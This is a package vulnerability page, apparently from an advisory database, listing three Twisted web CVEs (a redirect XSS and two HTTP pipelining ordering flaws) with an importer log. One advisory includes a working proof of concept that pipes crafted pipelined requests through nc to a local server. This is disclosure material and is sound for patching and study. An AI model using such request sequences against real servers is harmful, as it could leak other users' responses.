Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/twisted@23.8.0rc1
purl pkg:pypi/twisted@23.8.0rc1
Next non-vulnerable version 24.7.0rc1
Latest non-vulnerable version 24.7.0rc1
Risk 3.8
Vulnerabilities affecting this package (3)
Vulnerability Summary Fixed by
VCID-562c-1hjs-hqau
Aliases:
CVE-2024-41810
GHSA-cf56-g6w6-pqq2
PYSEC-2024-75
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.
24.7.0rc1
Affected by 0 other vulnerabilities.
VCID-vz8r-fhqf-zudf
Aliases:
CVE-2024-41671
GHSA-c8m8-j448-xjx7
twisted.web has disordered HTTP pipeline response ### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
24.7.0rc1
Affected by 0 other vulnerabilities.
VCID-y7f5-9nmg-w7b3
Aliases:
CVE-2023-46137
GHSA-xc8x-vp79-p3wm
PYSEC-2023-224
Twisted is an event-based framework for internet applications. Prior to version 23.10.0rc1, when sending multiple HTTP requests in one TCP packet, twisted.web will process the requests asynchronously without guaranteeing the response order. If one of the endpoints is controlled by an attacker, the attacker can delay the response on purpose to manipulate the response of the second request when a victim launched two requests using HTTP pipeline. Version 23.10.0rc1 contains a patch for this issue.
23.10.0rc1
Affected by 2 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T23:04:56.146076+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.4.0
2026-04-16T23:04:55.158488+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.4.0
2026-04-16T22:41:45.450828+00:00 GitLab Importer Affected by VCID-y7f5-9nmg-w7b3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 38.4.0
2026-04-12T00:22:51.529738+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.3.0
2026-04-12T00:22:50.518001+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.3.0
2026-04-12T00:01:16.548624+00:00 GitLab Importer Affected by VCID-y7f5-9nmg-w7b3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 38.3.0
2026-04-03T00:30:28.605739+00:00 GitLab Importer Affected by VCID-562c-1hjs-hqau https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 38.1.0
2026-04-03T00:30:27.665580+00:00 GitLab Importer Affected by VCID-vz8r-fhqf-zudf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 38.1.0
2026-04-03T00:04:19.117399+00:00 GitLab Importer Affected by VCID-y7f5-9nmg-w7b3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 38.1.0
2026-04-01T15:16:37.337686+00:00 PyPI Importer Affected by VCID-562c-1hjs-hqau https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 38.0.0
2026-04-01T15:15:14.866477+00:00 PyPI Importer Affected by VCID-y7f5-9nmg-w7b3 https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 38.0.0
2026-04-01T12:49:42.783003+00:00 Pypa Importer Affected by VCID-562c-1hjs-hqau https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2024-75.yaml 38.0.0
2026-04-01T12:48:55.970431+00:00 Pypa Importer Affected by VCID-y7f5-9nmg-w7b3 https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2023-224.yaml 38.0.0